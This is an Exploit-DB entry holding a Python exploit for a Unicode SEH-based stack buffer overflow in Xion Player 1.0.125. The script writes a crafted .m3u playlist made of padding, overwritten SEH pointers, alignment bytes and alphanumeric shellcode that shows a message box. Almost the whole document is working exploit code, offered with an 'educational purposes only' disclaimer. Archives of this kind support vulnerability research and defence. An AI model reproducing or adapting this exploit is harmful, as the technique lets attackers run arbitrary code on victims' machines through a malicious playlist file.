Xion Player 1.0.125 - Local Stack Buffer Overflow

EDB-ID:

14633

CVE:

EDB Verified: ✓

Author:

CORELANC0D3R

Type:

LOCAL

Exploit: / {}

```
#!/usr/bin/python
# ###########################################################################
# Title:                Xion 1.0.125 Stack Buffer Overflow
# Date:                 August 13, 2010
# Author:               corelanc0d3r and dijital1
#                       Grtz to dijital1 : I had a lot of fun working with
#                       you on this one ! :)
#                       Grtz to dookie2000ca :)
# Original Advisory:    http://www.exploit-db.com/exploits/14517 (hadji
samir)
# Platform:             Windows XP SP3 En Professional - VirtualBox
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ###########################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may
```



```
print "|                                                    security@corelan.be
|"
print "|
|"
print "|------------------------------------------------[ EIP Hunters ]--
|"
print "   -= Exploit for Xion 1.0.125 - Unicode (SEH) - corelanc0d3r =-"
print ""
print " [+] Preparing payload..."
outputfile="corelanc0d3r.m3u"
offset_to_nseh=250   #affected by the m3u path length !
junk = "A" * offset_to_nseh
nseh="\x41\x45"
seh="\x93\x47" #Unicode conversion : 0x0047201C => mov eax,esi + ppr
junk2="\x45"
align="\x55"  #push ebp
align=align+"\x6d"  #pad (ebp is writable)
align=align+"\x58"  #pop eax
align=align+"\x6d"
align=align+"\x05\x25\x11"
align=align+"\x6d"
align=align+"\x2d\x11\x11"
align=align+"\x6d"
align=align+"\x50\x6d\xc3"  #go!
align=align+"I"*56
```

```
#msgbox
shellcode="PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1A
shellcode+="AIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhYzKskhY
shellcode+="4nDJTLq6rfRajNQuyOtTKQaP0TKt6LLTKQfkl2koVJh4K3NO02kOFOHpOKhrUJS29
shellcode+="axQyo8as0DK0lNDKtDKOUMlBkntKUqhKQxjBkmzJxdKQJKpkQzKgsP7MyDKltDKja
shellcode+="NLqkO017PKLVL2dGPQdKZWQ6olMkQI7xizQ9oyoKOOKSLktmX45GnDKQJktjaHkpf
shellcode+="KlL0KrkNzMLiqZKBkyt4KM1iX2iMtKtkloqVcVRlHNIhT3YHe1ywRoxdNNnZnJLr2
shellcode+="x5LKOIoKOqymuitEkSNvxgrd357KlktobYXDKIokOKOu9oUyx0hplplo0yoQXNSoB
shellcode+="nC4QXPupsS52R58aLMTlJqyJFR6KOaEKTqyWRB07KUXW2NmwLDGMLktpRWxQNKOkO
shellcode+="orHnxKpo0Kpph1DS5s1BMphplc1PnmPoxpCrOprpeNQIKDHOlktZl4IK3aXrRNxMP
shellcode+="0oxbCNPOtMcQXREplOqpn38mPOsPobRQXbDKps2RY0hNoD7pn35May9sXPLO4ju2i
shellcode+="QNQyBobOcnqQB9o8PNQY00PIoPUyxKZA"

junk3="\x49"*2550

payload=junk+nseh+seh+junk2+align+shellcode+junk3
print " [+] Writing payload to file "+outputfile+" (" + str(len(payload))+"
bytes)"
FILE = open(outputfile, "w")
FILE.write(payload)
FILE.close()
print " [+] Done"
```